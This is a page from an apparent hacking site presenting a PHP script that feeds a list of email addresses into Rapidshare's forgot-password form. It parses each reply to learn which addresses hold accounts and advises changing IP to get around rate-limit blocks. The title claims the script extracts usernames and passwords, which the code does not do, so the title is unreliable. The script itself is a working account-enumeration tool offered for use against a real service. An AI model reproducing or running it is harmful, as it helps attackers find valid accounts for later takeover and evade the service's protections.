Monday, 2024/12/09, 2:37 PM


Main
Registration
Login
Hackersoft Welcome Guest | RSS  
Site menu

Our poll
Rate my site
Total of answers: 11048

Statistics

Total online: 1
Guests: 1
Users: 0

Extracting Username And Pass from Rapidshare server

session_start();

$browserData = array();
$browserData[CURLOPT_USERAGENT] = "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9";
$browserData[CURLOPT_FOLLOWLOCATION] = true;
$browserData[CURLOPT_COOKIESESSION] = true;
$browserData[CURLOPT_COOKIEFILE] = "cookie";
$browserData[CURLOPT_COOKIEJAR] = "cookie";

function curlInit($link,&$browserData,$ssh = false)
{
$ch = curl_init($link);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, !$ssh);
curl_setopt_array ($ch,$browserData);

return $ch;
}
function array2postFields($data)
{
$data = (array) $data;

$postData = "";
foreach($data as $name => $value)
$postData .= $name . "=" . $value . "&";
$postData = substr($postData,0,-1);

return $postData;
}

class rapidshare
{
function __construct(&$browserData)
{
$this->browserData = &$browserData;
$this->link = "http://rapidshare.com/cgi-bin/forgotpw.cgi";
}

function requestpassword($username)
{
$ch = curlInit($this->link,$this->browserData,false);

$data = array("email"=>$username);

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,array2postFields($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$responseText = curl_exec($ch);
curl_close($ch);


return $responseText;


}

function translateResponse($responseText)
{
$responseRegexs = array(
"noaccounts" => "No accounts found. Please try again",
"valid" => "accounts and sent the data to your e-mail address",
"invalid" => "E-Mail address invalid!",
"ipblocked" => "Too many password requests from your IP-Address! Please try again in one hour"
);
foreach($responseRegexs as $name => $value)
if (preg_match('%' . $value . '%', $responseText))
return $name;
return false;
}
function testUser(&$user)
{
$responseText = $this->requestpassword($user["username"]);

$response = $this->translateResponse($responseText);

if($response == "ipblocked" || !$response)
{
echo "IP BLOCKED. Next try in seconds. Leave the window opened for autorefresh, or change your ip";
$waitingTime = 3610;
$clockScript=
<<

waitingTime = $waitingTime;
function showClock()
{
clockHolder = document.getElementById("clock");
clockHolder.innerHTML = waitingTime--;
}
showClock();
window.setInterval(showClock,1000);


CLOCK;
echo $clockScript;

echo "";
return false;
}
else
{
$user["response"] = $response;
return true;
}

}
}
?>



if(isset($_GET["reset"]))
$_SESSION = array();

$users = &$_SESSION["users"];
$info = &$_SESSION["info"];

if(!isset($users))
{
if(!empty($_POST["users"]))
{
function validUsername(&$username)
{
$username = strtolower($username);
return preg_match('/\A[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\Z/',$username);
}
$users = array();
$lines = explode("\n",$_POST["users"]);
foreach($lines as $line)
{
if (get_magic_quotes_gpc())
$line = stripslashes($line);

$username = trim($line);

if(validUsername($username))
{
$users[] = array(
"username" => $username,
"response" => false
);
}
}

$info["nUsers"] = count($users);
$info["currentUser"] = 0;

if(!$info["nUsers"])
{
$_POST = array();
$_SESSION = array();
}
}

if(empty($_POST["users"]))
{
?>
Give me some list of emails
You can freely refresh the window

email1@server.com<br />email2@server.com



}
}

if(isset($users))
{
$rapidshare = new rapidshare($browserData);

$exec = $_GET["exec"];

if(isset($exec))
{
for($n = $info["currentUser"]; $n < $info["nUsers"]; $n++)
{
if ($rapidshare->testUser($users[$n]))
$info["currentUser"]++;
else
{
break;
}
}
}

echo "Tested: " . $info["currentUser"] . " users

";

for($n = 0; $n < $info["currentUser"]; $n++)
{
$user = $users[$n];
printf("Username: %s - ",$user["username"]);

switch($user["response"])
{
case "invalid":
{
echo "doesn't work. invalid";
break;
}
case "noaccounts":
{
echo "doesn't work";
break;
}
case "valid":
{
echo "[b]just WORKS![/b]";
break;
}
default:
{
echo ".unable to test. Contact the author";
}
}
echo "
";
}
echo "[url="?exec"]EXEC[/url]";

}




?>
[url="?reset"]RESET[/url]

Sign in

Calendar
«  December 2024  »
SuMoTuWeThFrSa
1234567
891011121314
15161718192021
22232425262728
293031

IP

Copyright Hackerssoft © 2024